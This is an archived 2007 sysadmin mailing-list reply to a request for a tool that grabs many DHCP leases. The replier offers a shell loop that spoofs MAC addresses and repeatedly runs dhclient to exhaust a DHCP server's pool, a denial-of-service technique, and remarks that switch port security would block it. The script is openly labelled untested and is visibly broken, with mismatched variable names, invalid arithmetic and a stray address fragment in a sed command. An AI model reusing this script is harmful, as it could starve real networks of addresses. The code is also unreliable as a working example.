[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [SAGE] Tool: grab all dhcp leases, ala DOS?
In the message dated: Fri, 24 Aug 2007 10:31:26 EDT,
The pithy ruminations from sage@richfox.org on
<[SAGE] Tool: grab all dhcp leases, ala DOS?> were:
=> Hi,
=>
=> A while ago I heard about a tool, perhaps proprietary, that would allow a
=> single system to obtain many, many, leases from a DHCP server. Does anyone
=> know of any open source tools that might provide this functionality (preferably
=> with the ability to accept or reject IP leases based on the IP subnet)? I
=> googled and googled but I couldn't separate the noise from the signal in
=> the results...
Hmmm...a fun challenge on a Friday.
Do you mean a tool that does something like:
[WARNING: possible linux-isms and untested sudo code follows]
#########################################################################
count=0
while [ count -lt 1024 ]
do
octets=`printf "%04d" $count`
ifconfig $INTERFACE hw ether 00:02:6F:05:$number
dhclient $INTERFACE
subnet=`ifconfig $INTERFACE|grep "inet addr:"|sed -e "s/.*inet addr://" -e "s/\.[0-9]* .*//" 170.212.182`
while [ $subnet != $ACCEPTEDSUBNET ]
do
dhclient -r $INTERFACE
dhclient $INTERFACE
done
count= $count + 1
done
########################################################################
Of course, all of this naughtyness in trying to grab 1024 addresses from the
DHCP server assumes that this isn't taking place on wired network with
port-level security on the network switch.
Mark
=>
=> Thanks,
=> Rich.
=>
=> --
=>
-----
Mark Bergman Biker, Rock Climber, Unix mechanic, IATSE #1 Stagehand
http://wwwkeys.pgp.net:11371/pks/lookup?op=get&search=bergman%40merctech.com
I want a newsgroup with a infinite S/N ratio! Now taking CFV on:
rec.motorcycles.stagehands.pet-bird-owners.pinballers.unix-supporters
15+ So Far--Want to join? Check out: http://www.panix.com/~bergman